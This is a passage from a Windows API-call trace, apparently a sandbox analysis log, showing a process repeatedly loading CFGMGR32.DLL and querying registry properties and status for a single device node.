(hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.649] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.650] malloc (_Size=0x18) returned 0x196ef0d2060 [0231.650] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0231.650] malloc (_Size=0x2a) returned 0x196ef0d0bd0 [0231.650] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0bd0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0bd0, pulLength=0x67117d608) returned 0x0 [0231.651] free (_Block=0x196ef0d0bd0) [0231.651] malloc (_Size=0x48) returned 0x196ef0fb720 [0231.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6aee158b, dwHighDateTime=0x1d9eb0c)) [0231.651] SetEvent (hEvent=0x248) returned 1 [0231.653] malloc (_Size=0x18) returned 0x196ef0d1c00 [0231.653] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd818) returned 0x0 [0231.653] free (_Block=0x196ef0d1c00) [0231.654] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856860 [0231.654] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.654] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0231.654] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0231.654] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0231.654] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0231.654] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0231.654] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0231.654] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0231.654] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225c90, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0231.655] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0231.655] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856860) returned 1 [0231.656] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.656] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.657] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.658] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.659] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.660] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.660] malloc (_Size=0x18) returned 0x196ef0d2040 [0231.660] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0231.660] malloc (_Size=0x48) returned 0x196ef0fba40 [0231.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6af03224, dwHighDateTime=0x1d9eb0c)) [0231.660] SetEvent (hEvent=0x248) returned 1 [0231.663] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.663] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.663] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.664] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.665] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.665] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0231.666] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.669] malloc (_Size=0x48) returned 0x196ef0fbb30 [0231.669] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6af03224, dwHighDateTime=0x1d9eb0c)) [0231.669] SetEvent (hEvent=0x248) returned 1 [0231.673] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.673] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.673] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.674] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.675] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.676] malloc (_Size=0x18) returned 0x196ef0d1f20 [0231.676] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.676] malloc (_Size=0x48) returned 0x196ef0fb770 [0231.676] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6af290de, dwHighDateTime=0x1d9eb0c)) [0231.676] SetEvent (hEvent=0x248) returned 1 [0231.679] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.679] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.682] malloc (_Size=0x18) returned 0x196ef0d20c0 [0231.682] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.682] malloc (_Size=0x48) returned 0x196ef0fb860 [0231.682] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6af290de, dwHighDateTime=0x1d9eb0c)) [0231.683] SetEvent (hEvent=0x248) returned 1 [0231.685] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.685] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.685] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.686] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.687] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.688] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0231.688] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.688] malloc (_Size=0x48) returned 0x196ef0fc170 [0231.688] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6af290de, dwHighDateTime=0x1d9eb0c)) [0231.688] SetEvent (hEvent=0x248) returned 1 [0231.758] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.758] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.758] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.759] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.760] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.761] malloc (_Size=0x18) returned 0x196ef0d1d60 [0231.761] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x37, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0231.763] malloc (_Size=0x48) returned 0x196ef0fb770 [0231.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6afe7bcb, dwHighDateTime=0x1d9eb0c)) [0231.763] SetEvent (hEvent=0x248) returned 1 [0231.766] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.766] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.766] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.767] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0231.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0231.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0231.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0231.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0231.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0231.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0231.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0231.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0231.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0231.769] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0231.769] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x37, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0231.769] malloc (_Size=0x48) returned 0x196ef0fb270 [0231.769] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6b00df1c, dwHighDateTime=0x1d9eb0c)) [0231.770] SetEvent (hEvent=0x248) returned 1 [0231.773] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0231.773] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0231.773] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0231.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0231.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0231.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0231.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0231.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0231.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0231.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0231.774] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0231.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0231.775] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0231.775] GetProcAddress 